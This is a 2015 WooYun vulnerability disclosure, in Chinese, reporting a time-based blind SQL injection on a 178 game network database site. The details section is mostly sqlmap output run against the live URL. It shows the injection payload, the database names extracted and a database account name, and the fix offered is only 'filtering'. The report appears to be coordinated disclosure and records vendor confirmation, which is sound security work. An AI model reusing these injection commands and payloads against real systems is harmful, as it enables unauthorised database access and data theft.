178游戏网某重要站点SQL注入漏洞

编号114449
Urlhttp://www.wooyun.org/bug.php?action=view&id=114449
漏洞状态厂商已经确认
漏洞标题178游戏网某重要站点SQL注入漏洞
漏洞类型SQL注射漏洞
厂商178游戏网
白帽子#6c6c6c
提交日期2015-05-16 16:16:00
公开日期2015-07-02 10:54:00
修复时间(not set)
确认时间2015-05-18 00:00:00
Confirm Spend2
漏洞标签sql注入
关注数0
收藏数0
白帽评级
白帽自评rank18
厂商评级
厂商评rank15
漏洞简介
一女同事生日,我问她想要什么礼物?她说,咱俩关系好,你可不可以送我一样既实用又可以装逼的礼物。于是我给了她一条内裤。
漏洞细节

C:\Python27\sqlmap>sqlmap.py -u "http://db.178.com/lol/index.php?api/bigfoot/her
osel/name/aa*" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150423}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:24:47
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q] y
[12:24:49] [INFO] resuming back-end DBMS 'mysql'
[12:24:49] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://db.178.com:80/lol/index.php?api/bigfoot/herosel/name/aa' AND
(SELECT * FROM (SELECT(SLEEP(5)))hMCM) AND 'Cdet'='Cdet
---
[12:24:50] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[12:24:50] [INFO] fetching database names
[12:24:50] [INFO] fetching number of databases
[12:24:50] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
[12:24:55] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
2
[12:31:07] [INFO] retrieved:
[12:31:27] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[12:36:43] [INFO] retrieved:
[12:37:03] [ERROR] invalid character detected. retrying..
[12:37:03] [WARNING] increasing time delay to 2 seconds
lol
available databases [2]:
[*] information_schema
[*] lol
[12:39:15] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\db.178.com'
[*] shutting down at 12:39:15


数据库账号loldb_user

POC

修复方案

过滤

状态信息 2015-05-16: 细节已通知厂商并且等待厂商处理中
2015-05-18: 厂商已经确认,细节仅向厂商公开
2015-05-28: 细节向核心白帽子及相关领域专家公开
2015-06-07: 细节向普通白帽子公开
2015-06-17: 细节向实习白帽子公开
2015-07-02: 细节向公众公开
厂商回复感谢洞主对完美世界的关注,我们将尽快修补该漏洞。
回应信息危害等级:高漏洞Rank:15 确认时间:2015-05-18 10:53